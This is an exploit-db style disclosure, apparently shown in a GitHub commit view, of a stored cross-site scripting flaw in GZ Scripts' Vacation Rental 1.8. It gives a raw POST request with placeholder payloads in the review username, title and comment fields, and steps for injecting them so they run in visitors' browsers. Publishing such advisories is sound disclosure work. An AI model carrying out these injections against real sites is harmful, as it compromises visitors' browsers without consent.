ef9b4e5962
20 changes to exploits/shellcodes/ghdb TP-Link TL-WR940N V4 - Buffer OverFlow D-Link DAP-1325 - Broken Access Control Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting (XSS) Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit - Remote Code Execution (RCE) Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE) FuguHub 8.1 - Remote Code Execution GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS) PodcastGenerator 3.2.9 - Blind SSRF via XML Injection POS Codekop v2.0 - Authenticated Remote Code Execution (RCE) Prestashop 8.0.4 - Cross-Site Scripting (XSS) Rukovoditel 3.4.1 - Multiple Stored XSS Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS) spip v4.1.10 - Spoofing Admin account Time Slot Booking Calendar 1.8 - Stored Cross-Site Scripting (XSS) Vacation Rental 1.8 - Stored Cross-Site Scripting (XSS) WBCE CMS 1.6.1 - Open Redirect & CSRF WebsiteBaker v2.13.3 - Directory Traversal WebsiteBaker v2.13.3 - Stored XSS WP AutoComplete 1.0.4 - Unauthenticated SQLi
34 lines
No EOL
1.5 KiB
Text
34 lines
No EOL
1.5 KiB
Text
# Exploit Title: Vacation Rental 1.8 - Stored Cross-Site Scripting (XSS)
|
|
# Date: 30/06/2023
|
|
# Exploit Author: CraCkEr
|
|
# Vendor: GZ Scripts
|
|
# Vendor Homepage: https://gzscripts.com/
|
|
# Software Link: https://gzscripts.com/vacation-rental-website.html
|
|
# Version: 1.8
|
|
# Tested on: Windows 10 Pro
|
|
# Impact: Manipulate the content of the site
|
|
|
|
## Stored XSS
|
|
|
|
------------------------------------------------------------
|
|
POST /VacationRentalWebsite/property/8/ad-has-principes/ HTTP/1.1
|
|
|
|
property_id=8&action=detail&send_review=1&cleanliness=0%3B4.2&comfort=0%3B4.2&location=0%3B4.2&service=0%3B4.2&sleep=0%3B4.2&price=0%3B4.2&username=[XSS Payload]&evaluation=3&title=[XSS Payload]&comment=[XSS Payload]&captcha=lbhkyj
|
|
------------------------------------------------------------
|
|
|
|
POST parameter 'username' is vulnerable to XSS
|
|
POST parameter 'title' is vulnerable to XSS
|
|
POST parameter 'comment' is vulnerable to XSS
|
|
|
|
## Steps to Reproduce:
|
|
|
|
1. Surf (as Guest) - Go to any Listed Property
|
|
2. Go to [Customer Reviews] on this Path (http://website/property/[Number1-9]/[name-of-Property]/#customerReviews)
|
|
3. Inject your [XSS Payload] in "Username"
|
|
4. Inject your [XSS Payload] in "Title"
|
|
5. Inject your [XSS Payload] in "Comment"
|
|
6. Submit
|
|
7. XSS Fired on Local Browser
|
|
8. XSS will Fire & Execute on Visitor's Browser when they visit the page of Property you [Inject] the XSS Payloads in & XSS will Fire also on the [Reviews Page]
|
|
Note: I think Administration Panel missing a section to Manage [Reviews] on the website
|
|
this feature must be added in next Updates [View/Edit/Delete] |